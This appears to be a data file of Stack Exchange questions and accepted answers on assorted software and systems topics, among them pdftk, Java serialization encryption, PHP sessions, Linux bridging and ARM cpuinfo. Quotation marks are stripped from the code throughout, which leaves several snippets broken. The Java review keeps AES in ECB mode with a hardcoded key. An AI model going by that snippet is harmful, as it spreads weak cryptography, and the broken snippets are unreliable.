{  "id": "_unix.200422"  , "question": "It seems that the encryption provided by pdftk(1) is the level supported by Acrobat 5 (I added a password to a PDF file using pdftk then opened it in Acrobat Pro 9 and examined the security settings; Acrobat 5-compatible was the selected setting).However, I want to encrypt a PDF yet leave the metadata as clear text.  It appears that jPDFTweak can do this (jPDF Tweak Documentation and scroll to the Encrypt/Sign section and the screenshot shows a checkbox for Do not encrypt metadata).  (Edit: Yep, tried jPDFTweak and it does work.)I have a few dozen PDFs to process (repeatedly!) and I need a command line interface, so I'd prefer to use pdftk for this (the rest of my workflow uses pdftk).Any ideas?"  , "title": "How do I encrypt (password protect) a PDF without encrypting the metadata?"  , "tags": "encryption;pdf;pdftk"  } 
{  "id": "_softwareengineering.221265"  , "question": "Are all scripting languages dynamically typed?I am using TCL. It is a scripting language and it does not enforce or allow type delaration of variables. It is instead a dynamically-typed language with ducktyping. The type of a variable is assumed by the interpreter according to the value assigned to it.I would really like to know is there are scripting languages that are strictly/strongly typed."  , "title": "Are all scripting languages dynamically typed?"  , "tags": "scripting;dynamic typing;interpreters"  } 
{  "id": "_softwareengineering.137599"  , "question": "Recently I had a discussion with a developer who mentioned that during program development, they routinely create and delete tables and columns on a regular basis while working on new features and justified things by saying that this is normal when using an agile development process. As most of my background is in a waterfall development environment, I wonder if this is actually considered proper under agile development, or if this might be a sign of an underlying problem, either with the program architecture or with their following of the agile process."  , "title": "Is continuous creation and deletion of tables a sign of an architectural flaw?"  , "tags": "architecture;agile;database"  , "accepted_answer": "It's becoming more-and-more apparent to me every day that agile is becoming a synonym for poorly thought-out, chaotic, hurried and seat-of-your-pants. And none of those things are compatible with an Agile approach as I understand it.Having an effective and repeatable Agile process is not easy, and I don't believe that it inherently reduces the total amount of work to be done even though it may very well lead to better products.If they've said that they don't have time to refactor the database then they probably also don't have time to set up versioning and migration for the database. They probably haven't taken the time to create a suite of functional tests for it. All of those things are what I think of when I think of a solid Agile process that's headed for success.In the end, Agile is just a word. What you are doing day-to-day determines if you'll be successful or not."  } 
{  "id": "_codereview.66889"  , "question": "I want to make sure that the code I have for encrypting and decrypting a serializable object makes sense and is proper. Does it look right too? Here's what I have so far: public static void encrypt(Serializable object, String path) throws IOException, NoSuchAlgorithmException,            NoSuchPaddingException, InvalidKeyException {          try {            // Length is 16 byte            SecretKeySpec sks = new SecretKeySpec(MyDifficultPassw.getBytes(),                    AES/ECB/PKCS5Padding);            // Create cipher            Cipher cipher = Cipher.getInstance(AES/ECB/PKCS5Padding);            cipher.init(Cipher.ENCRYPT_MODE, sks);            SealedObject sealedObject = new SealedObject(object, cipher);            // Wrap the output stream            CipherOutputStream cos = new CipherOutputStream(new BufferedOutputStream(new FileOutputStream(path)), cipher);            ObjectOutputStream outputStream = new ObjectOutputStream(cos);            outputStream.writeObject(sealedObject);            outputStream.close();        }        catch(IllegalBlockSizeException e){            e.printStackTrace();        }        }public static void decrypt(Serializable object, String path) throws IOException, NoSuchAlgorithmException,            NoSuchPaddingException, InvalidKeyException {        SecretKeySpec sks = new SecretKeySpec(MyDifficultPassw.getBytes(),                AES);        Cipher cipher = Cipher.getInstance(AES);        cipher.init(Cipher.DECRYPT_MODE, sks);        CipherInputStream cipherInputStream = new CipherInputStream( new BufferedInputStream( new FileInputStream(path) ), cipher );        ObjectInputStream inputStream = new ObjectInputStream( cipherInputStream );        SealedObject sealedObject = null;        try {            sealedObject = (SealedObject) inputStream.readObject();            TransferData td = (TransferData) sealedObject.getObject( cipher );        }          catch (ClassNotFoundException e) {            e.printStackTrace();        } catch (IllegalBlockSizeException e) {            e.printStackTrace();        } catch (BadPaddingException e) {            e.printStackTrace();        }    }"  , "title": "Encrypt and decrypt a serializable object"  , "tags": "java;android;serialization;aes"  , "accepted_answer": "Some obvious problems that jump into the eye:Don't use duplicate string literals, like MyDifficultPassw and AES/ECB/PKCS5Padding. Put them into constants and define them near the top.Don't e.printStackTrace(). It's considered bad practice.The encrypt and decrypt methods violate the single responsibility principle, because they encrypt / decrypt and at the same time do file I/O. Instead of writing to / reading from a filesystem path, it would be better to work with streams. That would open make them testable too (see below).The decrypt method takes a Serializable object that's not used at all. Also, the initialization SealedObject sealedObject = null; is pointless, as the variable is always assigned before use anyway.It would be slightly better this way:private static final byte[] key = MyDifficultPassw.getBytes();private static final String transformation = AES/ECB/PKCS5Padding;public static void encrypt(Serializable object, OutputStream ostream) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {    try {        // Length is 16 byte        SecretKeySpec sks = new SecretKeySpec(key, transformation);        // Create cipher        Cipher cipher = Cipher.getInstance(transformation);        cipher.init(Cipher.ENCRYPT_MODE, sks);        SealedObject sealedObject = new SealedObject(object, cipher);        // Wrap the output stream        CipherOutputStream cos = new CipherOutputStream(ostream, cipher);        ObjectOutputStream outputStream = new ObjectOutputStream(cos);        outputStream.writeObject(sealedObject);        outputStream.close();    } catch (IllegalBlockSizeException e) {        e.printStackTrace();    }}public static Object decrypt(InputStream istream) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {    SecretKeySpec sks = new SecretKeySpec(key, transformation);    Cipher cipher = Cipher.getInstance(transformation);    cipher.init(Cipher.DECRYPT_MODE, sks);    CipherInputStream cipherInputStream = new CipherInputStream(istream, cipher);    ObjectInputStream inputStream = new ObjectInputStream(cipherInputStream);    SealedObject sealedObject;    try {        sealedObject = (SealedObject) inputStream.readObject();        return sealedObject.getObject(cipher);    } catch (ClassNotFoundException | IllegalBlockSizeException | BadPaddingException e) {        e.printStackTrace();        return null;    }}This is only slightly better, it still looks quite messy. But it has the big advantage that now this is testable, for example:@Testpublic void testEncryptDecryptString() throws InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IOException {    String orig = hello;    ByteArrayOutputStream baos = new ByteArrayOutputStream();    encrypt(orig, baos);    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());    assertEquals(orig, decrypt(bais));}@Testpublic void testEncryptDecryptPerson() throws InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IOException {    Person orig = new Person(Jack, 21);    ByteArrayOutputStream baos = new ByteArrayOutputStream();    encrypt(orig, baos);    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());    assertEquals(orig, decrypt(bais));}static class Person implements Serializable {    private static final long serialVersionUID = 0;    private final String name;    private final int age;    Person(String name, int age) {        this.name = name;        this.age = age;    }    @Override    public boolean equals(Object o) {        if (this == o) {            return true;        }        if (o == null || getClass() != o.getClass()) {            return false;        }        Person person = (Person) o;        if (age != person.age) {            return false;        }        if (!name.equals(person.name)) {            return false;        }        return true;    }    @Override    public int hashCode() {        int result = name.hashCode();        result = 31 * result + age;        return result;    }}"  } 
{  "id": "_opensource.5211"  , "question": "Citing the Philosophy of the GNU project:Free software does not mean noncommercial. A free program must be available for commercial use, commercial development, and commercial distribution. Commercial development of free software is no longer unusual; such free commercial software is very important. You may have paid money to get copies of free software, or you may have obtained copies at no charge. But regardless of how you got your copies, you always have the freedom to copy and change the software, even to sell copies.Free software does not mean non-commercial software. So a software that can be shared for free can also be sold. Why isn't this definition contradictory? If I wanted, person A could take an open source project and sell it to some dummy person B that knows nothing about free-software. It seems that the definition above favors person A and somehow tricks person B, which unfortunately does not have the time to learn everything about free-software."  , "title": "Contradiction: Free software does not mean noncommercial"  , "tags": "open source definition;free software definition"  } 
{  "id": "_codereview.20082"  , "question": "I am working on a little browsergame project written in PHP and using PostgreSQL as DBMS. Now I'm not really lucky with the process started after a userlogin was successful.Some info:There are 3 different kinds of properties a game character can have:AttributesSkillsTalentsEach of these properties is a table in my databaseEach of these properties is related to the character table in an extra tableAfter the login was successful I want to store both general information about these properties and the character-related values of them in the session (the first in 'game' and the second in 'user').How I currently get the data:[...]$this->getIngameInfo();//one account can have up to 4 characters//each of the characters can have different values          foreach($_SESSION['user']['character'] as $key => $data){    $_SESSION['user']['character'][$key]['attribute'] = $this->getAttributes($data['id']);    $_SESSION['user']['character'][$key]['skill'] = $this->getSkills($data['id']);    $_SESSION['user']['character'][$key]['talent'] = $this->getTalents($data['id']);}[...]private function getIngameInfo(){    $sql = SELECT id,    name,    tag,    description    FROM attribute;    if($this->db->query($sql, array())){        while($row = $this->db->fetchAssoc()){            $_SESSION['game']['attribute'][] = $row;        }    }    $sql = SELECT id,    name,    tag,    description    FROM skill;    if($this->db->query($sql, array())){        while($row = $this->db->fetchAssoc()){            $_SESSION['game']['skill'][] = $row;        }    }    $sql = SELECT id,    name,    description    FROM talent;    if($this->db->query($sql, array())){        while($row = $this->db->fetchAssoc()){            $_SESSION['game']['talent'][] = $row;        }    }}private function getAttributes($charid){    $sql =         SELECT attributeid,        value        FROM character_attribute        WHERE characterid = $1  ORDER BY attributeid ASC        ;    $attributes = array();    if($this->db->query($sql, array($charid))){        while($row = $this->db->fetchAssoc()){            $attributes[] = $row;        }    }    return $attributes;}private function getSkills($charid){    $sql =         SELECT skillid,        value        FROM character_skill        WHERE characterid = $1  ORDER BY skillid ASC        ;    $skills = array();    if($this->db->query($sql, array($charid))){        while($row = $this->db->fetchAssoc()){            $skills[] = $row;        }    }    return $skills;}private function getTalents($charid){    $sql =         SELECT talentid,        value        FROM character_talent        WHERE characterid = $1  ORDER BY talentid ASC        ;    $talents = array();    if($this->db->query($sql, array($charid))){        while($row = $this->db->fetchAssoc()){            $talents[] = $row;        }    }    return $talents;}I now wonder how I could merge these quite similar queries, because I'll need to fetch more information after that and I don't like firing so much queries in one process.I thought about using prepared statements (I use a self-written pgsql-PDO-class), but I am not calling the same table multiple times (and table 'talent' does not have exactly the same columns as the other both).I also mentioned creating one or two stored procedures which return all the needed data. But in this case I would not know how to assign such a bunch of data to the different named sessionarrays.The methods shown belong to a loginmodel and are called only one time. I used the sessionarray because the properties of a character should be shown in different ways (which would lead to caching) and used for calculations in different ways. As I don't like firing queries against the db to calculate with values that maybe did not change I didn't see a real alternative to sessions.Think about that:Fetch character properties once after loginDepending on user's interactions, show (cached if not changed) or calculate (? if not changed) with these propertiesDepending on user's interactions, change these properties, update db and update sessionTODO:Encapsulate sessiondata in another modelUse prepared queries for getAttributes, getSkills and getTalents Sum them to one method Move it to another model, as it will be not only needed when logging in, but when chars interact with other chars (wasn't away of)I would like to know how I can reduce the queries and simplify the code/improve performance of the script."  , "title": "Browser game project"  , "tags": "php;performance;session;postgresql"  , "accepted_answer": "I agree with MECU about not storing everything in the session. Caching is probably the best way to go. Sessions are typically used for continuity between page loads. Meaning you can store information like the character ID or login status, but the rest should be done differently. So, even though I'm about to start explaining how to better do what you are trying to accomplish with your sessions, I hope you will apply it to whatever new method you come up with.Speaking of sessions. Using an outside resource, such as sessions or cookies or post, is a violation of the Law of Demeter (LoD). Simply put, this law suggests that your code, either method/function or class, not know more than is necessary to accomplish its task. Right now you have your entire class tightly coupled with the session. What if, as both MECU and I suggested, you wanted to move away from using the session? Then you'd have to rewrite this entire class. The better thing to do would be to write this class in such a way as to not be dependent upon it in the first place. You could instead return these same arrays to your main application to then apply them to the session array or even a cache. You could also inject any outside parameters you needed into your method's arguments to share initial values. Always try to write your code so that it is as reusable as possible.Now, you can more easily get the character stats by following the Don't Repeat Yourself (DRY) Principle. As the name implies, your code should not repeat itself. So, instead of writing out that long array pointer multiple times, you can more easily, and cleanly, create a new array and merge the two when you are done. Additionally, you can abstract the $data[ 'id' ] to its own variable as well to make this even easier.$stats = array();foreach( $_SESSION[ 'user' ] [ 'character' ] AS $key => $data ) {    $id = $data[ 'id' ];    $stats[ $key ] = array(        'attribute' => $this->getAttributes( $id ),        'skill'     => $this->getSkills( $id ),        'talent'    => $this->getTalents( $id )    );}//use array_merge_recursive if you want to keep original $data arrayarray_merge(    $_SESSION[ 'user' ] [ 'character' ],    $stats);Seen as how you use the same id to access the attributes, skills, and talents, it would make more sense to create a new method to get all three and return the results in an array, similar to the one above. This follows two core OOP principles, the first I already mentioned, DRY, and Single Responsibility. This new principle means that our methods should be responsible for just one thing. If our methods are responsible for more than one task, then that makes them harder to reuse and we typically end up repeating code to accomplish similar tasks, which violates the first principle again. Its a vicious cycle.private function getStats( $id ) {    return array(        'attribute' => $this->getAttributes( $id ),        'skill'     => $this->getSkills( $id ),        'talent'    => $this->getTalents( $id )    );}MECU mentioned something similar, but I think it should be elaborated. He expressed a dislike for using non-conditionals as a conditional statement. This is a good thing to be adverse to. Complex conditionals should also be avoided. Complex meaning nested parenthesis, or long lists of conditionals, or even just a long condition. I don't see any of the latter, so I'll just cover the first. Both of these types of statements tend to cause issues with legibility, thus the need for abstracting the conditional to a variable. At first glance the first statement is hard to read because the parenthesis tend to run together. The second statement is a little better, but only because I added whitespace around the parenthesis, this just happens to be my style for this very reason. The third abstracts this to avoid excessive nesting, making it even easier to read than the second and allows for potential expansion should you want to use the $result later.//a complex conditionalif($this->db->query($sql, array())){//a complex conditional using whitespaceif( $this->db->query( $sql, array() ) ) {//compared to...$result = $this->db->query( $sql, array() );if( $result ) {I demonstrated DRY a couple of times above, so I'll leave this one to you.  Your getIngameInfo() shows a more standard violation of DRY. It queries the database three times in a very similar method. The only thing that really changes is the SQL used and the portion of the session game array. I would suggest creating a new method to accomplish this for you. In fact, that new method can probably be reused for the getAttributes(), getSkills(), and getTalents() methods as well. I would use those later 3 methods as a template and use the returned array to populate your session.Hope this helps!"  } 
{  "id": "_opensource.270"  , "question": "If yes, what are the consequences of Open Source projects being discontinued, if it's done by a large organization?As per this post,the older version of project can still be used under the same old open source license. Is there a way to make it so that the project can't be used under the old license?"  , "title": "Is it possible to close an open source project?"  , "tags": "distribution;relicensing;proprietary code"  , "accepted_answer": "Much would depend on the initial license chosen when creating the OS project. If the OSP was originally published under a copyleft license such as GPL, then the answer is clearly no. They can not continue development under a more restrictive license without violating the terms of the original license.A permissive license, such as Apache, allows the original publisher to effectively fork the project internally and abandon the open source version, making no more commits.However, if the project was ever used (or even downloaded) by someone, even deleting the 'authorative' source repository will not stop it reappearing under a different guise."  } 
{  "id": "_codereview.23907"  , "question": "Please check my code below. I don't have any problems but I'm not aware how far the code will work, release and kill excel instances..try{       wBook = xCel.Workbooks.Open(excelfilepath);                    xCel.Visible = false;    this.xCel.DisplayAlerts = false;    wSheet = (Excel.Worksheet)wBook.Worksheets.get_Item(1);                        wSheet.Copy(Type.Missing, Type.Missing);    wSheet = (Excel.Worksheet)wBook.Sheets[1];    wSheet.SaveAs(1.xls);}catch{}finally{    if (wBook != null)    {                   try        {            wBook.Close();        }        catch        {        }        Thread.Sleep(500);    }    if (excelprocid > 0)    {        Process xcelp = Process.GetProcessById(excelprocid);            xcelp.Kill();    }    try    {        GC.Collect();        GC.WaitForPendingFinalizers();        GC.Collect();        GC.WaitForPendingFinalizers();           }    catch{}    Marshal.FinalReleaseComObject(wSheet); wSheet = null;       Marshal.FinalReleaseComObject(wBook); wBook = null; }"  , "title": "Excel instances: release and kill"  , "tags": "c#;exception handling;excel"  , "accepted_answer": "Since Excel runs via COM, it won't be released from memory until you remove all references to it.  Your example (above) does a pretty good job, but after you say wBook.Close(), you should say wBook = null.  Likewise Excel won't gracefully close-down while your xCel object refers to an instance of Excel.This article on CodeProject shows the recommended/industry-standard way of closing-down excel. ffwd down to Sections 13 and 14.http://www.codeproject.com/Articles/404688/Word-Excel-ActiveX-Controls-in-ASP-NET "  } 
{  "id": "_webapps.52775"  , "question": "Why can people, who are among my connections, see all my connections (even if they're not common to both), even though on privacy settings I selected only me to see the connections? Another buddy, one from my connections, also has this setting, and I cannot see her connections (can't click the number of connections)."  , "title": "People see my connections on LinkedIn, despite the setting set to only me"  , "tags": "privacy;linkedin"  } 
{  "id": "_softwareengineering.310272"  , "question": "I'm working on a project with has different checklists (questions and answers) associated with an entity (Protocol).  There is a business requirement to have these questions be altered in the future and when a new entity is created it would be associated with the current checklist.Example:Lets say there is a checklist and has 21 questions (the actual questions are nested with questions having other questions but I believe this is out of the scope of this question).  This would be version 1.0.  Something changes and now there are 22 questions and the version would be bumped up to 1.1.When a new Protocol is created, it needs to have a Checklist associated with it - the current Checklist.Simplified classes:class Checklist {    String version    List<ChecklistQuestion> checklistQuestions}class ChecklistAnswerSet {    Checklist checklist    List<ChecklistAnswer> checklistAnswer}class Protocol {    ChecklistAnswerSet checklistAnswerSet    ...}New Protocol's are created within the ProtocolService; the child checklistAnswerSet is also created here as well but needs to refer to the current Checklist instance.We are working with a grails backend and it's extremely easy getting references to instances by their fields:Checklist checklist = Checklist.findByVersion('1.1')I could drop this in my ProtocolService to get the current instance but I know this isn't a good idea.  Any changes to this version would require code changes to the Service and although I could avoid a redeploy (grails magic), this feels completely wrong.Where do I store this 1.1? In a configuration file? In the database? Or am I completely wrong and my design needs a complete rework?Initially, I was storing this 1.1 data within a generic key/value table we have in the database called System_Property, but it just felt wrong.  My gut reaction is to use a configuration file (there are other Checklist's and therefore other current versions that would also go here), but a coworker is saying only environmental settings go in config files."  , "title": "How to store the current version of an instance? Store reference to specific instance?"  , "tags": "versioning;configuration;separation of concerns;storage;grails"  } 
{  "id": "_softwareengineering.246077"  , "question": "I have an AppHarbor site where I need to do weekly updates to some of the data. I don't want to go the route of deploying an exe and adding an additional webworker to my site because those cost money. My thought is to add a web service/REST api service to the site so I can just call it, it will execute the batch job stuff, then when it's complete, return a custom status code, like success or failure. Behind the scenes, it would update a BatchLog table or something like that, then I could create a page/view where I could access the log details and see which batch processes did or did not run.So, that's how I'm thinking I want to implement, but I'm a little skeptical of the security around this. First of all, obviously I don't want ANYONE to be able to kick off these batch jobs just by going to my web service/rest api.To fix that, I'm thinking there are 2 different ways to do this, or a combination of both.1) Require some credentials and maybe an additional secret code in order to get them to actually kick off.2) Configure in a table when each batch job can actually run, and the frequency. That way, if a hacker does call my service/rest api. It will only be able to execute 1 time per hour/day/week/month/etc. So they could hammer the service, but each successive call would just return a failure, or something like that.One thing to note, I read someplace a couple months ago that there are cloud services out there that will schedule batch jobs like this for you. And the free one that I read about will do 1 service. Any more than 1 and you have to start paying for it. So for my example, I'd just create one service, and have it called multiple times per day/week, and let my BatchJob configuration table determine whether it actually needs to process or not.So, how horrible of an idea is this? What are some other approaches to accomplishing batch jobs in a cloud environment where they don't offer batch services."  , "title": "How to execute batch jobs via webservices or rest api"  , "tags": "cloud computing"  , "accepted_answer": "This is quite normal and in many environments just the easiest way to do this. I have various batch jobs running that often enough don't do more than calling a REST API controller with curl (on the same machine as my web server).For the protection part you have many options. Simple user authentication is easy enough and should be safe if coded properly (and you can use a super complex password and totally weird user name if you like, same for the URL of the task), in addition you could limit requests to certain IP addresses, if the batch is running on the same machine then limit to localhost is as secure as you can get. If you can change settings of the web server there would be even more options, if not your code should be able to do most important things anyway.Also as you write you can limit the batch processing by querying the time and date. I do this anyway, since some jobs should not run every hour. So in my case there is only one controller called hourly and that decides what to do dependent on time. For example some heavy load image processing is done only once at night, one hour later some other heavy worker is running and during the day some simple data import runs every hour."  } 
{  "id": "_vi.11257"  , "question": "This may seem a little nit-picky, but I like using the wildmenu to switch between buffers: I do :b and then hit tab until I get to the file I want. The problem is that sometimes, vim shows the entire file path instead of just the file. So instead of getting something nice likefoo.cpp bar.cpp foobar.cppI getfoo.cpp ~/Documents/programming/projects/my_project/src/bar.cpp foobar.cppWhich ANNOYS THE HELL out of me. Sometimes it happens, sometimes it doesn't. Deleting the buffer and reopening the file doesn't do anything; I have to restart vim in order for it to go away.Does anyone know why vim does this?EDIT: So, I haven't experienced this problem since I last created this post; however, just now the problem happened again, and I now know the situation in which it manifests. The situation is as follows: I use the 'quickfix' window for viewing compile errors. When I build my project (via :make) and there are errors, if the files that contain the errors are not currently buffered within vim, then the absolute path of the file is shown in the quickfix window and everywhere else for the rest of the vim session; even if I do :edit foo.cpp after the :make, it will still show the full path for the buffer.Deleting the buffer and doing another :edit doesn't fix it; vim shows the full path no matter what. The only remedy is to kill vim, open a new process, and to open the files containing the errors before calling :make.Very strange. Any ideas?"  , "title": "vim sometimes displays full path of file instead of just the filename?"  , "tags": "buffers;path;wildmenu"  } 
{  "id": "_softwareengineering.154931"  , "question": "I just started using requirejs and I love it. I have one concern though. I've been compressing all my js files into one single file. Even with requirejs optimizer, I need to load module files from the server time to time and I'm concerned with it.Performance and user experience wise, which one is better? "  , "title": "one single compressed js file VS compressed requirejs module files"  , "tags": "javascript;modules"  , "accepted_answer": "Performance and user experience wise, which one is better?A single compressed file.It is a single connection, so the browser is free to download other assets.It is compressed, so it takes less time to transfer to the browser.Both mean that the page and the javascript run faster - this is better user experience and better performance.Win win."  } 
{  "id": "_unix.153281"  , "question": "Shouldn't bridge (or a switch) be working without having an IP address? I believe I can have a bridge br0 setup with eth0 and eth1 as members both having no IP addresses. I can't understand why an address should be allocated to br0?"  , "title": "Why IP address for Linux Bridge which is layer 2 virtual device?"  , "tags": "linux;networking;bridge"  , "accepted_answer": "A bridge does not need an IP address to function. Without one it will just perform layer 2 switching, spanning tree protocol and filtering (if configured).An IP address is required if you want your bridge to take part in layer 3 routing of IP packets.As an example you can setup a bridge without an IP address in Debian/Ubuntu using the following in /etc/network/interfacesauto br0iface br0 inet manual         bridge_ports eth0 eth1"  } 
{  "id": "_codereview.70268"  , "question": "I have a package directory pkg with several classes that I would like to build into a convenient dict property.The structure of pkg/ looks like:pkg/base.py:class _MyBase(object):    passpkg/foo.py:from .base import _MyBaseclass Foo(_MyBase):     passAnd in pkg/__init__.py, it is a bit clunky, but once pkg is imported, a all_my_base_classes dict is built with a key of the class name, and value of the class object. The classes are all subclasses of pkg.base._MyBase.import osimport sysimport pkgutilimport base# I don't want to import foo, bar, or whatever other file is in pkg/all_my_base_classes = {}pkg_dir = os.path.dirname(__file__)for (module_loader, name, ispkg) in pkgutil.iter_modules([pkg_dir]):    exec('import ' + name)    pkg_name = __name__ + '.' + name    obj = sys.modules[pkg_name]    for dir_name in dir(obj):        if dir_name.startswith('_'):            continue        dir_obj = getattr(obj, dir_name)        if issubclass(dir_obj, base._MyBase):            all_my_base_classes[dir_name] = dir_objRunning it from an interactive Python shell, one directory below pkg/:>>> import pkg>>> pkg.all_my_base_classes{'Foo': <class 'pkg.foo.Foo'>}So it works as expected, but pkg/__init__.py is pretty terrible looking. How can it be better?"  , "title": "List all classes in a package directory"  , "tags": "python;modules;dynamic loading"  , "accepted_answer": "Since the classes are all subclasses of _MyBase, they can be accessed via _MyBase.__subclasses__() after they have been imported:for (module_loader, name, ispkg) in pkgutil.iter_modules([pkg_dir]):    importlib.import_module('.' + name, __package__)all_my_base_classes = {cls.__name__: cls for cls in base._MyBase.__subclasses__()}For importing the modules, I followed the advice of Nihathrael."  } 
{  "id": "_cs.43250"  , "question": "The Problem: A high speed workstation has 64 bit words and 64 bit addresses with address resolution at the byte level.  Assuming a direct mapped cache with 8192 64 byte lines, how many bits are in each of the following address fields for the cache?  1) byte 2) Index 3) Tag?I know that an address for specifying data within a cache is 64 bits. I know that an address  for a cache has to have the byte, index, and tag field so byte + index + tag = 64The index field should take up 13 bits to account for the 8192 byte linesHow many bits would be in the byte field though? I know that a processor processes one word at a time and each word consists of 8 bytes. A 64 byte cache line would contain 8 words. Would this byte field need to identify each word or each byte itself. If it was byte itself, it be 6 bits but if it was word it be 3 bits.If I had to take a stab, I would say the byte field needs to be 3 bits to identify each word because it doesn't make sense for the processor to just process one byte. Can anyone confirm my suspicisions? "  , "title": "How many bits would be needed for the byte?"  , "tags": "computer architecture;cpu cache;memory access"  } 
{  "id": "_unix.223958"  , "question": "Is it possible to access the aggregate menu, or system menu, located in the top right corner on the activities bar of the GNOME shell interface, with a keyboard shortcut? If not, can such a shortcut be created?"  , "title": "Access the GNOME shell aggregate menu per keyboard"  , "tags": "keyboard shortcuts;gnome3;gnome shell"  , "accepted_answer": "As far as I know there's no dedicated shortcut for the aggregate menu. You could use the ctrlalttab.js helper (also known as the accessibility switcher). Hit Ctrl+Alt+Tab:and select Top Bar, this will focus the first element on the top bar (that is, the Activities button). You then navigate with right arrow to the system tray and use the down arrow to open the  menu...Not very convenient, I know, so here's a way to define a dedicated shortcut for the system menu:You can invoke gnome-shell evaluator via dbus and call the open() or toggle() methods on that particular shell element:gdbus call -e -d org.gnome.Shell -o /org/gnome/Shell -m org.gnome.Shell.Eval string:'Main.panel.statusArea.aggregateMenu.menu.toggle();'ordbus-send --session --type=method_call --dest=org.gnome.Shell /org/gnome/Shell org.gnome.Shell.Eval string:'Main.panel.statusArea.aggregateMenu.menu.open();'So, it's only a matter of going to Settings > Keyboard > Shortcuts and assign a shortcut to one of the above commands."  } 
{  "id": "_softwareengineering.42091"  , "question": "I've recently started learning C++, and I enjoy it a lot.I've often read it's easier to write bad code in C++ than in most languages, and that it is a lot deeper than what it seems.As I'd like to avoid writing bad code, I was wondering what exactly I shouldn't do, and what I should do, to write good code in C++."  , "title": "What should I know about C++?"  , "tags": "c++"  , "accepted_answer": "The pitfallsThere are so many pitfalls in C++, that if you don't know them you will create very unstable code, with tons of memory leaks and buffer overruns. Compared to more modern languages with garbage collection, you must release all memory yourself. Also, the code is very low-level. There is nothing preventing you from overwriting your own program code (which has been exploited by many IE hacks).So the next you must learn are the programming practices that mitigate these risks, e.g. using smart pointers to handle freeing objects, wrapping byte arrays in classes handling the data, etc.I can recommend Scott Meyers' books Effective C++ and More Effective C++.Those books essentially taught me the beauty of C++. Note that these are not beginners books. They assume that you are already familiar with the language."  } 
{  "id": "_unix.255558"  , "question": "I have a LeMaker HiKey development board. I purchased it for testing a couple of libraries on ARM64 cpu architecture. The board provides two Cortex-A53 processors, provides eight cores, and uses Linaro Linux:$ uname -aLinux hikey 3.18.0-linaro-hikey #1 SMP PREEMPT Mon Nov 30 00:11:03 UTC 2015aarch64 GNU/LinuxI observed the self tests are running a little slower than expected, so I'm mildly investigating it. I also noticed a cat of /proc/cpuinfo is returning something that does not look quite right, but I'm not sure if its cause for concern. It does not look quite right to me because I used to seeing cpu information present for each core (something like shown in Number of processors in /proc/cpuinfo).Does the output of /proc/cpuinfo indicate a problem with the board or its configuration? Or is this output expected with some dev boards?ARM Cortex A53 (octa-core):$ cat /proc/cpuinfo Processor   : AArch64 Processor rev 3 (aarch64)processor   : 0processor   : 1processor   : 2processor   : 3processor   : 4processor   : 5processor   : 6processor   : 7Features    : fp asimd evtstrm aes pmull sha1 sha2 crc32 CPU implementer : 0x41CPU architecture: AArch64CPU variant : 0x0CPU part    : 0xd03CPU revision    : 3Hardware    : HiKey Development Board"  , "title": "Understanding the output of /proc/cpuinfo"  , "tags": "linux;cpu;arm"  , "accepted_answer": "This is the expected output to Arm based processors. All Serialized cores are shown in list with line breaks instead of separated processors. Features are evaluated by cpuinfo code, and only show if all cores support them         /*          * Mismatched CPU features are a recipe for disaster. Don't even          * pretend to support them.          */         WARN_TAINT_ONCE(diff, TAINT_CPU_OUT_OF_SPEC,                         Unsupported CPU feature variation.);The other variables are:CPU implementer: Your code means ARM;CPU architecture: AArch64 means 64 bit ARM board:CPU variant : Indicates the variant number of the processor, or major revision. Yours is zero.CPU part: Part number. 0xd03 indicates Cortex-A53 processor.CPU revision: Indicates patch release or minor revision. 3, in your caseHardware    : HiKey Development Board is self explanatoryIf you want to check your processor max clock, just type cat /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq. To check the current clock dmidecode | grep Current Speed should do the trick.Another thing that could impact the performance of your processor is the cpu governor you are using. Maybe setting the performance one could be better for your needs:cpupower frequency-set -g performanceDocumentation:Arm InformationHow to understand the information of my android processor [closed]arm64: restore bogomips information in /proc/cpuinfo"  } 
{  "id": "_cstheory.16561"  , "question": "Most of the algorithms for estimating the volume of a convex polyhedron $K \\subset R^d$ assume the existence of an affine transform $T$ with the property that $$ B \\subset TK  \\tilde{\\subset}\\  \\sigma B$$where $B$ is the unit ball in $d$ dimensions, and $\\sigma$ is $O(\\sqrt{d})$. (Update: the $\\tilde{\\subset}$ indicates that the containment is true except for an $\\epsilon$-fraction of $K$)The algorithms that I've seen for computing this transform are quite tricky. They require a bootstrap sampling process to extract a few points from inside $K$ which are then used to define the transformation.However, the fact that such a transformation exists is folklore, and my question was:Is there a simple algorithm (with possibly a weaker bound on $\\sigma$)  to compute the affine transform, given only a membership oracle for  $K$ ?"  , "title": "On preprocessing a convex polyhedron prior to sampling"  , "tags": "cg.comp geom;randomized algorithms;convex geometry"  } 
